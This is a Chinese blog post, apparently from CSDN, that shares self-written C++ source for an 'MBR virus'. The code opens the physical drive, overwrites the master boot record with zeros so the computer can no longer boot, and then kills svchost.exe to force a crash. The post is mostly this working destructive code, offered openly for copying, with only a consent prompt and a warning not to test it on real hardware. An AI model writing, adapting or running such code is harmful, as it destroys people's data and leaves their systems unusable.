mbr病毒程序源代码分享

mbr也就是主引导记录,属于主引导扇区。

主引导扇区位于整个硬盘的0磁道0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。写入mbr后,你的电脑将无法启动。

废话不多说,直接上代码吧。

#include <windows.h>  
#include <iostream>
#include <ctime>
#include <string>
#pragma execution_character_set("utf-8")    //注明编码为utf-8
#include <cstdlib>
using namespace std;      //命名空间
#define mbrsize 512    
int killmbr()            //定义一个killmbr整型函数
	DWORD write;                 
	HANDLE mbr;               //定义一个mbr句柄
	char mbrdata[mbrsize];           
	ZeroMemory(&mbrdata, (sizeof mbrdata));   
	mbr = CreateFile                             //准备写入mbr
	(
		"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (WriteFile(mbr, mbrdata, mbrsize, &write, NULL) == TRUE)
	{
		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);     //设置字体颜色为红色
		cout << "Your computer has been destroyed" << endl;           //成功写入     
		Sleep(5000);      
	}
	else
	{
		cout << "ERROR";      //写入失败
		Sleep(5000);
	}
	CloseHandle(mbr);
	return EXIT_SUCCESS;
}
int main()
{
	string op;
	SetConsoleOutputCP(65001);    //防止程序乱码
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);           //设置字体颜色为红色
	cout << "1.是;2.否" << "\n";
	cout << "这是一个病毒程序,是否运行?" << "\n" << endl;     //警告用户
	cin >> op;
	if (op == "1")
	{
		killmbr();    //调用killmbr函数
		system("taskkill /f /im svchost.exe /t");    //蓝屏
	}
	if (op == "2")
		exit(0);
	return 0;
}

 代码由本人编写,转载时请注明原文链接。                      

 禁止在物理机中测试病毒,否则后果自负。 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

X_23366654188

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值